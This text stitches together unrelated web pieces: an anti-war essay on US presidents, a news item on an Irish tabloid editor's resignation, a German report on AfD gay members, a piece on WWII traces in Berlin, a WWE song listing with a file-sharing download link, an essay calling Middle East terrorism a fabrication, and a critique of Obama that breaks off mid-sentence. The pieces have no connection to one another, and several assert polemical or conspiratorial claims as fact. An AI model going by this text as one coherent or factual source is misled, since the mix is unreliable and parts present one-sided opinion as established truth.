Watching Bush’s campaign clips makes for a surreal experience, as Bush continues to epitomise the arch pro-war neo-con in most people’s eyes. During his campaign though, he expressed a degree of scepticism about Bill Clinton’s illegal war on Yugoslavia which his opponent, then Vice President Al Gore continued to extol as a “success”.
In 2008, Barack Obama’s anti-war message was vocal and visible. The now infamous “change” and “hope” posters were as much about opposition to the Iraq War and the Guantanamo Bay concentration camp, as they were about domestic issues.
Long before his campaign, Obama frequently spoke out against Bush’s war, as a rising star in the Democratic party.
Obama ended up going to war with more sovereign states than George W. Bush, while also antagonising Russia and China far more than Bush ever did. Hope soon turned into “nope”.
Donald Trump Tweeted endlessly through Barack Obama’s Presidency about the disastrous Middle Eastern wars pursued by Obama.
What will we get for bombing Syria besides more debt and a possible long term conflict? Obama needs Congressional approval. — Donald J. Trump (@realDonaldTrump) August 29, 2013
AGAIN, TO OUR VERY FOOLISH LEADER, DO NOT ATTACK SYRIA – IF YOU DO MANY VERY BAD THINGS WILL HAPPEN & FROM THAT FIGHT THE U.S. GETS NOTHING! — Donald J. Trump (@realDonaldTrump) September 5, 2013
Many of the Syrian rebels are radical jihadi Islamists who are murdering Christians. Why would we ever fight with them? — Donald J. Trump (@realDonaldTrump) September 6, 2013
Don't attack Syria – an attack that will bring nothing but trouble for the U.S. Focus on making our country strong and great again! — Donald J. Trump (@realDonaldTrump) September 9, 2013
These online statements led Trump to eventually run for US President on a similar platform. Once in power, he escalated the war against Syria, threatened to destroy North Korea and is once again making threats against Iran.
In this sense, it seems apparent that people have grown numb from multiple US Presidents campaigning for peace and ruling through war. As such, few protesters seek to mobilise in order to hold lying leaders to account.
The peace is not meant to be won–it is meant to be continuous
George Orwell once wrote that “the war is not meant to be won–it is meant to be continuous”.
Decades of US wars from the invasion of Philippines in 1899 to the wars of 2017, have proved that for modern America, peace is the exception and war is the rule.
As such, many peace activists and those with a conscience have concluded that a single day of protests is not enough to rally support against a cycle of wars that is a perennial phenomenon.
Because of this, the social media model of constant global, digital mobilisation may well prove to be more effective in the long-term than putting millions of anti-war demonstrators in the streets on a single day. It is also less time consuming and more cost effective.
As it is with all opposition groups, the use of platforms from foreign countries may prove to be invaluable as US owned social media networks continue to crack down on those who oppose war, occupation and inhumane conditions.
There is no guarantee that this will work, but it is certainly the most clear option that those opposed to war in the 21st century must utilise as much as possible. |
Image caption The photographs were taken while the Duke and Duchess of Cambridge were on a private holiday
The editor of the Irish Daily Star newspaper has resigned over the publication of topless photographs of the Duchess of Cambridge.
Michael O'Kane was suspended from his post in September while an internal investigation was carried out.
The tabloid published pictures of the duchess and Prince William sunbathing on a private holiday in France.
Media tycoon Richard Desmond, whose Northern and Shell group co-owns the paper, had threatened to shut it down.
Best interests
The Dublin-based Irish Daily Star said in a statement: "As a result of the publication on 15 September 2012, issues arose with the shareholders of Independent Star Limited.
"Having considered those issues in tandem with Mr O'Kane, it is Mr O'Kane's decision to resign as editor of the Irish Daily Star, effective immediately."
It is Mr O'Kane's decision to resign as editor of the Irish Daily Star, effective immediately Irish Daily Star statement
Northern and Shell group co-owns the newspaper with the Irish-based Independent News and Media.
Independent News and Media said Mr O'Kane acted at all times in a highly professional and appropriate manner and in the best interests of the newspaper.
Criticised decision
He followed all editorial policies and guidelines, it added.
Both co-owners had criticised the decision of Mr O'Kane to publish the pictures, although Independent News and Media said closing down the title would be disproportionate.
The Irish Daily Star re-published the photographs in September after they appeared in French celebrity gossip magazine Closer.
The pictures were used by publications in France, Italy, the Irish Republic, Sweden and Denmark. No British newspaper has printed them.
They did not feature in the Northern Ireland edition of the Irish Daily Star. |
Martin Sichert, Alexander Tassis und Mirko Welsch am letzten Dienstag in Nürnberg (Bild: Youtube-Screenshots Kanal AfD Nürnberg)
21. Mai 2016, 10:51h,
Bei einem entlarvenden Auftritt der "Homosexuellen in der AfD" in Nürnberg wurde gegen "schrille" Schwule gepoltert. Mirko Welsch bezeichnete Volker Beck als "Krebsgeschwür der Schwulenbewegung".
Von Norbert Blech
Bei Vorträgen ausgerechnet zum Internationalen Tag gegen Homo- und Transphobie haben die führenden Vertreter der "Homosexuellen in der AfD" am Dienstag in Nürnberg gezeigt, wie egal ihnen die Belange und Rechte von Schwulen und erst Recht von Lesben oder gar Transsexuellen sind. Die Veranstaltung am 17. Mai unter dem Titel "Schwule und Lesben gegen den Genderwahn" war vorab mit einem Banner in Regenbogenfarben auf dem rechten Hetzportal "Politically Incorrect" beworben worden und wurde im kleinen Saal der Meistersingerhalle von der AfD Nürnberg durchgeführt.
Deren Kreisvorsitzender Martin Sichert, den der frühere Parteichef Bernd Lucke noch wegen revisionistischer Aussagen aus der Partei werfen wollte, behauptete zur Einführung, dass sich viele Homosexuelle an seine Partei wenden würden, da sie sich von Organisationen wie dem örtlichen LGBT-Zentrum Fliederlich nicht vertreten fühlten, "sondern gar in ein schlechtes Licht gerückt sehen: Sie wollen schlicht, ganz normal, Teil der Gesellschaft sein. Sie wollen nicht ihre Sexualität zum Markte tragen, vor allem nicht in einer schrillen Form." Ein Homosexueller habe ihm berichtet, wie "verstörend" diese Schwulen für ihn seien: Sie sorgten für "Unverständnis" in der Bevölkerung, weil diese Zurschaustellung vielen Menschen "zu schrill und zu belästigend" sei.
Während also Schwule möglichst unauffällig sein sollen, beklagte Sichert "Denk- und Sprechverbote" u.a. durch ein Gender Mainstreaming und durch (vermeintlich) linke Organisationen, die in Wirklichkeit einer Diskriminierung Homosexueller Vorschub leisteten, indem sie gegenüber dem Islam und im Rahmen der Zuwanderungswelle "eine falsch verstandene Toleranz" zeigten. Errungenschaften von Jahrzehnten stünden auf der Kippe, so Sichert. "Und die Haute-Volée diskutiert weiter um Ampelweibchen, Unisex-Toiletten, die richtige Ansprache von Leuten, die sich nicht entscheiden können, welches Geschlecht sie haben."
Gegen die "spätrömische Dekadenz" des Gender Mainstreamings
Mirko Welsch, einer der beiden Bundesvorsitzenden der "Homosexuellen in der AfD", berichtete in seinem Vortrag, er habe in der Innenstadt einen Fliederlich-Stand gesehen und sich "fremdgeschämt" über die "Berufsschwestern", die sich "selbst vermarkten" und damit angeblich Geld verdienten, weil "sie selber sonst nichts auf die Reihe kriegen". Das reiht sich ein in eine lange Reihe von plumpen Angriffen Welschs gegen LGBT-Organisationen. Nach den jüngsten Landtagswahlen ließ er etwa auf einem Motiv den LSVD und die Zeitschrift "Männer" und queer.de wegkehren. Im Mai forderte er, dem LSVD und Aids-Hilfen die staatlichen Fördermittel zu streichen, da diese als "linksgrüne Parasiten" konservative LGBT ausgrenzten.
Die Rhetorik ist bis ins Absurde hart in Nürnberg bezeichnete Welsch etwa Volker Beck als "Krebsgeschwür der Schwulenbewegung in Deutschland". Sie überbietet sogar noch die LGBT-feindlichen Töne der offiziellen Parteivertreter. Die AfD-Homos bieten sich hier nicht nur als Feigenblatt an Vorwürfe, die AfD sei homophob, konterte Welsch in seinem Vortrag lediglich mit Verweisen auf Homophobie bei Marx, Engels oder Fidel Castro. Sondern sie treiben die homophobe Politik auf die Spitze.
So setzte sich Welsch auf dem Bundesparteitag vor wenigen Wochen, bei dem es mehrere LGBT-feindliche Positionen in das neue Grundsatzprogramm schafften, für einen schärfer formulierten Antrag gegen die "Propagierung der Homo- und Transsexualität" im Unterricht und für die Streichung aller Antidiskriminierungsgesetze ein (queer.de berichtete). "Gender Mainstreaming" sei "Dreck" und "sozialer Wohlstandsmüll", meinte er dazu über das Saalmikrofon.
Auch in Nürnberg beklagte Welsch eine "Frühsexualisierung" durch Bildungspläne, die nur Pädophilen nützten. Welsch log sich da die Realität noch mehr zurecht als die "Demo für alle" oder Birgit Kelle: Was habe es mit der Erziehung zu Toleranz zu tun, fragte er, wenn Kinder in Kindergärten lernten, "sich gegenseitig den Finger in den Popo (zu) stecken?"
Als "Homosexuelle in der AfD" sei man zudem die einzige Homo-Organisation, die "Ja zur traditionellen Familie als Keimzelle der Gesellschaft" sage. Jede "gesunde Gesellschaft" lebe davon, dass ein Kind bei Vater und Mutter aufwachse. "Und wenn ich mir dann anschaue, wie im Rahmen von Gender Mainstreaming Vater und Mutter abgeschafft werden sollen, zu Elter 1 und Elter 2, oder wenn ich sehe, dass man auf Facebook inzwischen aus 70 verschiedenen Geschlechtsvariationen auswählen kann: ( ) Das ist doch nicht mehr normal. Auf was lassen wir die zukünftigen Generationen los? Wie wollen wir eine zukünftsfähige Gesellschaft sein, wenn wir beginnen, eine solch spätrömische Dekadenz zu entwickeln?"
Mit einem Einsatz für mehr LGBT-Rechte fiel Welsch in Nürnberg nicht auf. Im Gegenteil kritisierte er eine "Marktschreier-Mentalität" bei schwul-lesbischen Organisationen: Ständig werde Neues gefordert, "ohne zu fragen, ob wir Homosexuelle das wollen". Die Bevölkerung sollte stattdessen die Gelegenheit bekommen, sich an einen "Status Quo" zu gewöhnen.
Ein Kampf auf der Seite von Kuby & Co.
Während Welsch in der Meistersingerhalle den pöbelnden Haudegen der "Homosexuellen in der AfD" gab, versuchte sich der andere Bundesvorsitzende, der Bremer Bürgerschaftsabgeordnete Alexander Tassis, an einem intellektuellen Überbau. So lehnte er "Gender Mainstreaming", wie auch Multikulturalismus, ab "Konstruktivismus" ab.
Freilich sind es die Gegner von LGBT-Rechten, die da überhaupt erst etwas konstruiert haben: Unter die Schlagworte "Gender Mainstreaming" und "Gender-Ideologie" vermischen sie erst die unterschiedlichsten Bereiche und Akteure von Frauen-Emanzipation, LGBT-Rechten, Wissenschaft und Philosophie zu einem großen Ganzen. Dieses umfassende und sich ständig weiter entwickelnde Narrativ geht zurück auf das Buch "Die globale sexuelle Revolution" der fundamentalistischen Theologin Gabriele Kuby, das von "Demo für alle", "Besorgten Eltern" oder Birgit Kelle ebenso als Anleitung zum Kampf genutzt wird wie von christlichen und kirchlichen Kreisen und rechtsextremen bis konservativen Parteien.
Tassis, der das wissen müsste, kämpfte in Nürnberg selbst auf populistischer Front gegen angeblich "widerwärtigen, perversen Dreck" und "verschmutzte Quellen" in Lehrplänen und gegen den "Gender-Krimskrams": Alle Gender-Professuren seien aufzulösen, forderte er etwa. Das sei möglich, schließlich habe man nach 1945 auch alle Rassen-Lehrstühle aufgelöst. "Ich möchte das Gender Mainstreaming mit solchen Wahnideen des Nationalsozialismus explizit vergleichen. Es ist keine Wissenschaft, es ist Humbug, es ist Konstruktivismus und dient völlig anderen Zwecken."
Die AfD sei eine Partei, "die alle, auch Schwule und Lesben, vor Sexualisierung durch Pornographie und Prostitution schützt", so Tassis. Homophobie sei in Deutschland kaum noch ein Problem, wichtiger seien "mutige Mütter und Väter, die sich wieder öffentlich zu ihrer Ehe und zu ihrer Familie bekennen". Die traditionelle Familie stelle aus "natürlicher Sicht eine einzigartige und hervorgehobene Harmonie" dar, die priviligert werden müsse.
Die AfD sei aus Gegnersicht keine Gefahr, weil sie homophob sei "das sind vorgeschobene Dinge" sondern weil sie "die erste nationalkonservative Partei ist, die wieder glaubwürdig einen Patriotismus für alle Menschen" biete, "egal ob sie homosexuell oder transsexuell oder eben gewissermaßen normal veranlagt sind", sagte Tassis. Die Nation und der Volksgedanke seien eine ewige Konstante der Menschheit wie die Familie aus Vater, Mutter und Kindern.
Der Männerbund als Gegenmodell zur aktuellen LGBT-Bewegung
In Abgrenzung zur aktuellen LGBT-Politik ("Es ist eine Schande, was die Linken aus unserer Homosexuellenbewegung gemacht haben") entwickelte Tassis in seiner Rede eine Gesellschaftsutopie basierend auf dem "Wertekanon" im Deutschland des 16. bis 19. Jahrhundert. Die erste Homosexuellenbewegung sei eine "deutsche Leistung" gewesen, im Rahmen der "deutschen Denkleistungen" wie der Reformation. Er empfahl Basilius von Ramdohrs (1757-1822) Roman "Venus Urania" über das Liebesleben der Menschen für den Unterricht, als Teil "der deutschen Kultur".
Als Karl Heinrich Ulrichs 1867 beim Juristentag eine rechtliche Anerkennung homosexueller Partnerschaften forderte, sei er "danach nicht gesteinigt worden und auch nicht vom Hochhaus geschubst worden", so Tassis. Ulrichs sei ein "großer Deutscher", ein "großer Patriot" gewesen. Man müsse "stolz" sein auf die "nationalkonservativen Denker" jener Zeit.
Tassis ignoriert freilich, dass der vermeintliche Patriot Ulrichs Deutschland entnervt von einer zunehmenden Repression gegenüber Homosexuellen den Rücken kehrte und ins Exil ging.
Während Tassis auf Magnus Hirschfeld und sein Schicksal nicht einging, bemühte er als Beispiel für die großen deutschen Denker einer homosexuellen Emanzipation noch dessen Zeitgenossen Hans Blüher. Er fasste ihn so zusammen, dass der Sinn von Homosexuellen sei, Heterosexuellen den Wert des christlichen Familienbildes und des Kinderkriegens bewusster zu machen.
Was Tassis bei diesem zurückgenommenen Plädoyer für eine Duldung nicht sagte: Blüher, "Wandervogel"-Chronist und Idealist eines homosexuell angehauchten, staatslenkenden Männerbundes, war Antisemit, Antifeminist und antidemokratisch-elitärer Adelsanhänger. Ein Volk werde nur durch einen Führer zum Volk, schrieb dieser "Denker" 1918. Nach dem Krieg hielt er fest, dass er dem Nationalsozialismus als "konservative Revolution" zunächst wohlwollend gegenübergestanden habe, diese Haltung aber nach der Ermordung des "freien Männerhelden" Röhms und der danach einsetzenden Homosexuellenverfolgung änderte. Hitler habe sich damit "gegen den deutschen Adel und die Oberschicht und für den Neandertaler und seine Provokateure" entschieden.
In Nürnberg, der Stadt der Reichsparteitage, ist man weniger geschichtsvergessen als Tassis. Die jährliche Demo zum Internationalen Tag gegen Homo- und Transphobie am 17. Mai führte traditionell entlang der Gedenkstätten der Stadt. Am Dienstag ging sie weiter bis zur AfD-Veranstaltung in der Meistersingerhalle; wenige Meter davon entfernt erinnert ein Dokumentationszentrum an die Reden und Massenaufmärsche der Nationalsozialisten auf dem ehemaligen Parteitagsgelände und an ihre Folgen. |
The scars of Germany's darkest hour are all over Berlin. Beyond the history books, the monuments and the museums, the subtle reminders of the most destructive war in human history are scattered about the city.
Stepping stones to remembrance
Some of Nazi Germany's most abominable legislation came from Berlin. It is no surprise that the Allied media portrayed it as the root of all evil.
Aktion T4, the secret programme that enabled forced euthanasia of German citizens got its name from its birthplace on Tiergartenstraße 4 in Berlin. A memorial to its 70 273 victims was erected where the program was formerly administered.
The fate of the European Jews was sealed at the Wannsee conference, some 20 kilometers from Berlin. It is still possible to visit the house where the conference was held.
Over twelve years, more than a hundred thousand Berliners - Jews, homosexuals, artists, pacifists - were deported by the nazis. Most of them would not live to see the end of the regime.
Since a 1992 initiative by artist Gunter Demnig, over 48 000 marked stones have appeared before the houses of German citizens who were deported and murdered. Over 3000 Stolpersteine exist in Berlin alone, each of them commemorating a victim.
The full list of Stolpersteine can be found along with pictures on Wikimedia Commons.
The women who moved mountains
The suffering of Berlin's citizens did not end with the capitulation of Germany. In some areas of the city, up to 30% of buildings were irreparably destroyed and even running water became a luxury for some Berliners. With the closing of hostilities began a long reconstruction process.
Few men were spared from the previous six years of fighting. In addition to the 4.4 million military casualties, over 2 millions Germans were held in other countries as forced labour. As a result, the bulk of the reconstruction effort was undertaken by women.
The Trümmerfrauen spent years clearing the debris from street fighting and Allied bombing raids. The several million cubic meters of debris eventually formed mountains, most of which still remain to this day.
The hills of Volkspark Friedrichshain and Volkspark Humboldthain are among them. One of them, Großer Bunkerberg, is the site of the Friedrichshain flak tower. After attempts at demolishing the massive concrete structure, the Soviets resorted to burying it with debris.
In the French sector, the Humboldthain flak tower suffered the same fate, but it is still possible to see and visit the partly buried flak tower.
There are six other debris mountains in Berlin alone, and several more across Germany.
Deliberate understatements
On April 30, 1945, Hitler committed suicide with his wife, Eva Braun. Their corpses were taken out of the Führerbunker in Berlin Mitte, doused with gasoline and unceremoniously cremated.
Despite deliberate efforts to make sure his corpse would never end in enemy hands, his charred remains were discovered by a young Soviet private. It was taken out of Berlin in great secret by the NKVD and reburied several times over the following decades. There is only one living man who knows the final location of Hitler's remains, and he vowed to take his secret to the grave, lest it becomes a site of pilgrimage for neo-Nazis.
The bunker in which Hitler killed himself was partly demolished, then filled up and buried. The location remained an unmarked parking lot until 2006 World Cup, when a sign was added in front of it.
Ruin value
In 1938, Hitler commissioned his favorite architect, Albert Speer, to design a new Chancellery that would be "suitable for a Greater German Reich".
The new building was intentionally designed to inspire awe. In order to reach Hitler's 400 square meter office, one had to walk across a 145 meter long gallery. It featured giant doors flanked by massive bronze statues and tall red marble walls draped in swastika flags
It was not unusual in post-war Germany to recycle debris in new constructions. After the devastating firebombing of Dresden, burned bricks from the original Frauenkirche were reused in its reconstruction.
The badly damaged Reich Chancellery was demolished by the Soviets to make room for an apartment complex. Instead of adding the rubble to one of Berlin's debris mountains, it was used with great symbolism in the construction of the Soviet War Memorial in Treptow. The monument was unveiled exactly 4 years after the German capitulation to honour the 81 000 Red Army soldiers who fell in the Battle of Berlin.
Some other buildings, on the other hand, were not demolished. Only a few hundred meters from Alexanderplatz, you can find the ruins of the Franziskaner-Klosterkirche. The church was left mostly untouched after it was gutted by Allied bombs in April 1945, and its interior was turned into an open air theatre.
The damaged spire of the Kaiser Wilhelm Memorial Church on Kurfürstendamm was also left untouched as a reminder of the destructive nature of war.
There are several buildings in Berlin that are still peppered with bullet holes from the street fighting in 1945. Redditors have pinpointed a few more buildings that still show those scars.
Between guilt and remembrance
German veterans of the War are not celebrated or honored, and even remembering their suffering seems to be at odds with how Germans are taught about their own past.
As described in great detail elsewhere, there was hardly any distinction between veterans and the general population in 1945. Every man capable of holding a weapon was thrown against the Allied steamroller as the war neared its end. The last-ditch Volkssturm saw children as young as 13 on bicycles with panzerfaust racks sent to destroy Soviet tanks.
While American and English veterans were returning home to be greeted by cheering crowds, there was no one to welcome German soldiers in a community that was on the brink of total collapse. It wasn't until the German economic miracle that the discourse about Germany's past could be reopened.
It's now possible for Germans to share their side of the story and enrich history with tales that were downplayed and even silenced for decades. Hopefully, this new openness will help us understand how so much evil was brought upon the world and ensure it never reoccurs. |
WWE: "Tokiwakita (Time Has Come)" ► Hideo Itami 1st Theme Song
by
3:21 - 1,011,957 views
Title: "Tokiwakita (Time Has Come)"
Composer: CFO$
Duration: 3:20
Album: WWE NXT: Tokiwakita (Time Has Come) [Hideo Itami] - Single
Genres: Soundtrack, Music
Released: Sep 16, 2014
℗ 2014 WWE, Inc./Wind-up Songs (a CFO$ Production)
Download Link: (m4a)
https://www.sendspace.com/file/bu5h08
Available Exclusively on iTunes:
http://bit.ly/1u5mm03
Theme Count:
1st: "Tokiwakita (Time Has Come)"
All WWE programming, talent names, images, likenesses, slogans, wrestling moves, trademarks, logos and copyrights are the exclusive property of WWE, Inc. and its subsidiaries. All other trademarks, logos and copyrights are the property of their respective owners. © 2014 WWE, Inc. All Rights Reserved. by Saint 3:21 - 1,011,957 viewsTitle: "Tokiwakita (Time Has Come)"Composer: CFO$Duration: 3:20Album: WWE NXT: Tokiwakita (Time Has Come) [Hideo Itami] - SingleGenres: Soundtrack, MusicReleased: Sep 16, 2014℗ 2014 WWE, Inc./Wind-up Songs (a CFO$ Production)Download Link: (m4a)https://www.sendspace.com/file/bu5h08Available Exclusively on iTunes:http://bit.ly/1u5mm03Theme Count:1st: "Tokiwakita (Time Has Come)"All WWE programming, talent names, images, likenesses, slogans, wrestling moves, trademarks, logos and copyrights are the exclusive property of WWE, Inc. and its subsidiaries. All other trademarks, logos and copyrights are the property of their respective owners. © 2014 WWE, Inc. All Rights Reserved. |
For those fighting and dying there – only Death is real. For the American people, Middle East Terrorism is a total fabrication.
A standard definition of War is that it is “a conflict carried on by force of arms”
We all know the old face of war in the classical days, where two sides in different coloured uniforms lined up and charged at each other until the sun set. Whoever had the most soldiers standing at the end of the day was the winner and they took over the territory of the losers. It was all about territory and redrawing borders.
This kind of warfare held up until around the time of the American Civil War. Since then lines have become blurred.
A standard definition of Guerrilla War is that it is “the use of hit-and-run tactics by small mobile groups of irregulars operating within a territory controlled by a regular military”.
By the the time of the Anglo-Boer War (circa 1900) the Boers had invented Guerrilla Warfare, where small bands went in and did as much damage as possible using what they had.
It was very effective. — An online register lists the names of 293,209 British Soldiers who had to be brought in to wage the war. However, adding in all the other Colonials it was probably closer to 500,000 who were needed to subdue about 30,000 rag-tag South African Boers.
Eventually the British found a very workable solution. They rounded up all the women and children remaining on the farms (who had been feeding and sleeping the rebels every night) and put them all in concentration camps. Their suffering was extreme. The men had to give up.
Guerrilla warfare is not about capturing Territory, but about demoralisation, damage to infrastructure, and forcing vast numbers of very expensive regulars to guard infrastructure.
A standard definition of Terrorism is that it is “the use of violence and intimidation in the pursuit of political aims”
By the 1960s another form of warfare was emerging. We called it, “Terrorism”.
We can all agree that none of the above methods are mutually exclusive. Modern mainstream Media spends a lot of time blurring these lines for the public, but I think we have a reasonably clear understandings of what the differences are.
Modern Terrorism is actually more complicated than this definition. It started as aircraft high-jacking; then evolved into small bands shooting innocent people at certain events; and has now evolved into its ‘classic’ contemporary form of suicide vests, suicide vehicles etc.
Terrorism is always an “Asymmetric Warfare” (for obvious reasons) where the powerful side, (usually a State or Country) has state of the art military equipment and the other side has very little other than hand held weapons and human bodies.
Suicide-vests are the quintessential weapon of terror. Because they are hidden they can have a kill ratio of ten or more to one. They are therefore extremely effective as psychological weapons.
Terrorists are almost by definition a very small group of disenchanted radicals who do not have access to modern sophisticated and expensive military equipment, so they have to resort to this sort of asymmetric terrorism.
Terrorism has a different aim and a different modus operandi from conventional war. For terrorists time and place of battle or time and place of victory are not a factor. Terrorists choose a target, and then over time slowly start infiltrating the area. They look like regular people. They remain as “sleepers” until called to action. They are unobtrusive and have no visible weapons; they often befriend and mix freely with the local population.
Once activated, they make sure that they terrorise the population.
Terrorism is not about capturing Territory; it is aimed at destroying economic infrastructure, about killing and wounding the local population in a game of demoralisation, economic destruction, discrediting the existing government, and sapping the morale of the local people, which can then lead to an economic collapse and/or making the State ungovernable.
History does not show many (if any) instances of a conventional military winning against Terrorism.
The British-Irish insurrection lasted from 1915 until 1998 without a military victory. Finally a political settlement had to be agreed upon.
The US’s standard duplicitous propaganda has given the American People a totally false view of what is going on in Syria and much of the Middle East.
Most of the mainstream media are in on the game of deceit about America’s war on Terrorism.
In Mosul, Raqqa, Aleppo, and all the others, the “terrorists” have magically acquired large numbers of tanks, howitzers, rocket platforms, cannon Vehicles, armoured personnel carriers, etc. They seem to have flags, uniforms, and badges. Somehow they all have the entire range of military equipment.
This is absolutely not asymmetric Terrorism, this is genuine conventional war.
The US and its surrogates are in a real military war. The American (and allied) politicians should be held accountable. US Politicians and mainstream media have allowed the US government to hide behind a false flag of “Terrorism”. This has fooled the people into supporting a conventional war without realising that that is what it is.
When the US announced its ‘War on Terror’, it was creating a subterfuge. When a country is put on a war footing, the powers-that-be understand well that under a condition of war the conventional laws-of-the-and can be modified and sidestepped. Lots of things which would never be acceptable in times of peace can be justified in times of war.
In the Middle East (and a few other places) the US cannot ever admit that they (and their surrogates) are in a military war. This would be unconstitutional .
By declaring a ‘War on Terror’, the US leadership has been able to legitimise its illegal war making and put its illegal acts in a pseudo- legal framework whilst without formally declaring war placing the nation onto a war footing.
The US has developed the habit of declaring anything and anybody they wish to hurt, anywhere in the world, as “terrorists” so that they can the use their loosened set of rules.
Somehow the American people have failed to hold their media corporations, or their elected and appointed officials accountable.
Instead they routinely allow them to subvert the Constitution by subterfuge and deceit.
When the government of a country allows the well being of its people to be compromised in this way, the outcome is usually civil disobedience and/or revolution.
In extreme situations, the final refuge of governments wishing to escape responsibility for their failures is War. |
“If there is anyone out there who still doubts that America is a place where all things are possible, who still wonders if the dream of our founders is alive in our time, who still questions the power of our democracy, tonight is your answer.”
So began Barack Obama’s victory speech in Chicago on 4 November 2008. Eight years later, as the world watches the debacle of Trump vs. Clinton, the two most unpopular candidates in US history, it is fair to say that doubts about the greatness of US democracy are more widespread than ever.
Obama was elected on a campaign of “change” and “hope” in the context of mass revulsion at the Bush years of war, economic crisis and growing inequality. But while the US has changed, it hasn’t been in the way people were hoping for.
Income and wealth inequality is higher than when Obama took office, worse now than at any time since the Great Depression of the 1930s. More people live in poverty, while corporate profits have ballooned. The wealth and unemployment gap between Black and white has grown.
Obama has deported more people than any US president in history. War still rages in the Middle East, albeit more by proxy and drone strikes than US boots on the ground. Obama has prosecuted twice as many whistleblowers as all previous presidents combined. Guantánamo remains open.
From the earliest days of Obama’s ascendency, the warning signs were there for those who cared to look. As Socialist Alternative magazine, a predecessor publication to Red Flag, noted immediately after Obama’s election:
“Obama’s win is bitter sweet. The hated Bush may be gone, but the reaction to Obama’s victory from those who drove Bush’s policies – the mass media, the military and political establishment, big business – should give those who want ‘change’ pause to think. Why? Because almost without exception the rich and powerful cheered Obama on.”
The reasons for this were twofold. First, in Obama they had a man they could trust, despite a bit of election rhetoric, to uphold their interests. He had never been a radical, and was an established Democrat who had voted the same way as Hillary Clinton 90 percent of the time. Despite running for the Democratic nomination against Clinton, he never got the treatment Bernie Sanders did. He was an insider who raised record amounts of campaign contributions from Wall Street.
Second, the Bush years were a disaster not just for millions of working class US citizens, Afghans and Iraqis – they were a disaster for the US establishment as well. The ruling class had enthusiastically backed Bush’s dream of a few quick wars to reshape the Middle East, install compliant regimes and secure another century of global dominance.
That dream became a nightmare as Iraqi resistance to US occupation grew. As the wars dragged on, failure became obvious and the costs were rising – trillions of dollars added to the US debt, more than 4,000 US soldiers killed, public opinion both around the world and at home becoming increasingly hostile and the whole empire bogged down and weakened.
They needed an exit strategy, both practically and ideologically. Bush began the former, which Obama continued, steadily pulling troops out of Iraq. But, crucially, Obama provided the latter as well. Bush’s policy failings were magnified by his bumbling, idiotic, cowboy-Republican, oil-tycoon persona. He was the Tony Abbott of US politics. Obama was the anti-Bush: Harvard educated, articulate, a Black president in a country built on slavery, and he made liberals swoon – all while continuing the bulk of Bush’s approach. Indeed, one of Obama’s first acts was to launch a troop surge of 30,000 into Afghanistan. It was a sign of things to come.
Obama had pledged that he would rein in the atrocities of the “war on terror” Bush had launched in 2001. He channelled the opposition not only to the wars in Afghanistan and Iraq, but also to Guantánamo Bay and the mass torture program the Bush administration had unleashed around the world.
Instead, Obama has presided over a massive expansion of the shadowy national security state. Not a single purveyor of torture under the Bush regime was prosecuted. The practice of “rendition” continues, whereby torture is outsourced to US allies.
Sixty people remain prisoners at Guantánamo. Some have been there since it was first opened in 2002. Most have never faced any sort of trial, let alone a fair one. Others were officially approved for release several years ago but remain imprisoned. Thirty-one have officially been given the terrifying status of “a forever prisoner”. A huge expansion in surveillance has taken place, while whistleblowers like Chelsea Manning and Edward Snowden have been mercilessly persecuted.
In a twisted way, these could be considered the lucky ones. Obama has exponentially expanded the policy of extrajudicial assassination via drone strikes. Under his watch there has been a 700 percent increase in drone strikes in Pakistan, as well as increased use in Yemen, Somalia, Syria, Iraq, Afghanistan and elsewhere. The bulk of these strikes are now what are called “signature” strikes, whereby the CIA does not even know the identity of the target, but assumes, based on movements and associations, that they might be “terrorists” and therefore deserve to die.
At 14, Faheem Qureshi was a victim of Obama’s first drone strike, just three days after Obama became president. Two of Qureshi’s uncles and his cousin were killed in the blast, and he lost his left eye. Qureshi told the Guardian that all he knows about Obama “is what he has done to me and the people in Waziristan, and that is an act of tyranny. If there is a list of tyrants in the world, to me, Obama will be put on that list by his drone program”. Don’t expect these words to appear in the official histories.
Obama’s increased use of drone and other air strikes was part of his strategy to manage the US retreat from the Middle East. As troops were pulled out, bombs and an increased reliance on allies and proxy forces in the region became the dominant strategy to try to manage the mess the Bush years had created. Meanwhile, the Obama administration was trying to reorient US imperialism to deal with the bigger and longer term threat of the rise of China, with its “pivot to Asia”. These efforts were thrown into crisis again with the Arab Spring revolutions in 2011.
Caught off guard by an immense revolutionary wave of people demanding the fall of many of US imperialism’s favourite regimes, Obama paid lip-service to democracy while manoeuvring behind the scenes to aid the forces of counter-revolution, from Egypt to Syria to Bahrain and Yemen. He has increased weapons sales to Saudi Arabia, maintained $2 billion in annual aid to the Egyptian military, and just approved the biggest ever gift of military aid to the apartheid state of Israel.
Meanwhile, in Central and South America, the Obama administration backed the violent military coup that overthrew Manuel Zelaya in Honduras, helped to destabilise left wing Venezuelan leader Hugo Chávez and his successor Nicolas Maduro and most recently supported the parliamentary coup by corrupt right wing forces in Brazil.
On the domestic front, faced with the biggest financial crisis since the Great Depression, Obama repaid his Wall Street donors many times over. Even before his election, Obama interrupted his campaign in September 2008 to fly to Washington to cajole any reluctant Democrats to vote for Bush’s $700 billion bank bailout. The money kept on flowing, with total support to the banks running into many trillions of dollars.
Meanwhile, millions lost their jobs and their homes. There was no bailout for them. When Obama moved to rescue General Motors with billions more in bailouts, he made sure it was not just taxpayers, but also GM workers, who would pick up the tab. His restructure plan included 21,000 lay-offs – a third of the workforce – a 50 percent pay cut for any new hires and cuts to pensions.
As the misery of the economic crisis grew, alongside increasing inequality, disappointment in Obama began to set in. Tens of thousands of young people who had voted and campaigned for “change we can believe in” were losing patience. In this context, inspired by the Arab Spring and mass movements in Spain and Greece, the Occupy Wall Street movement was born.
Declaring, “We are the 99 percent”, they occupied parks and squares in hundreds of US cities. The high point was a demonstration of 100,000 in New York City. Under Obama’s watch, the peaceful encampments were dealt with by a violent FBI-coordinated police crackdown that resulted in thousands being arrested, tear-gassed and beaten. He was with the 1 percent.
His most high profile achievement, the “Obamacare” health reform, has proven to be another neoliberal fraud. A publicly funded universal health care system would cost far less than the trillions spent on war and bailouts, but it was never even on the cards. Instead, Obamacare forces people to buy private health insurance. Unsurprisingly, coverage has increased, along with skyrocketing premiums, in a country where most workers’ real wages remain lower than they were in 1970.
One area in which people most hoped Obama could make a real difference was racism. And yet under the first Black US president, hundreds of thousands have had to mobilise under the banner of Black Lives Matter against an unending tide of racist police shootings. Obama has offered only the most token recognition for the protest movement’s concerns.
Many have made excuses for the appalling record of the Obama administration. As it draws to a close, the sycophantic praise for the Obama power couple will begin in earnest. The Guardian gave us a taste with a fawning review of one of Michelle Obama’s recent speeches:
